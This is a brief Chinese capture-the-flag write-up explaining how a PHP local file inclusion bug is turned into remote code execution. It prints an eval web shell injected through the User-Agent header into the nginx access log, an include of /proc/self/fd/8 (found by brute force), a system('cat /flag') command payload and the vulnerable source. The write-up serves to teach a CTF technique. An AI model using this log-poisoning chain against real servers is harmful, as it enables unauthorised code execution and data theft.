前言
此Trick的使用面非常窄,只适用于特定环境,这里只做特例分析,在后续服务器复现中,fd目录下没有指向日志的文件描述符,若有错误请指出
利用
?gwht=/proc/self/fd/8&cmd=system('cat /flag');
'user-agent': '<?php eval($_GET[cmd]);?>'
/proc/self/fd/x -> /var/log/nginx/access.log
include("/proc/self/fd/x") == include("/var/log/nginx/access.log")
x需要爆破出结果
原理
本题源码可以简化成
<?php
$gwht = $_GET["gwht"];
if(preg_match("/flag/",$gwht)){
die("hack");
}
include($gwht);
?>
/proc的利用见另一篇文章
『Linux』进程信息目录/proc
这里的fd/8是文件描述符,是一个指向日志的软连接,因此实现了日志包含
fd/8是通过爆破出的 /proc/self/fd目录存放了当前进程的文件描述符,文件描述符可以理解成是软连接指向当前进程操作过的文件,通过爆破发现8号即指向日志的文件描述符,然后就能日志包含
参考
Journey from LFI to RCE with /proc/self/fd/ !!!
完
欢迎在评论区留言
|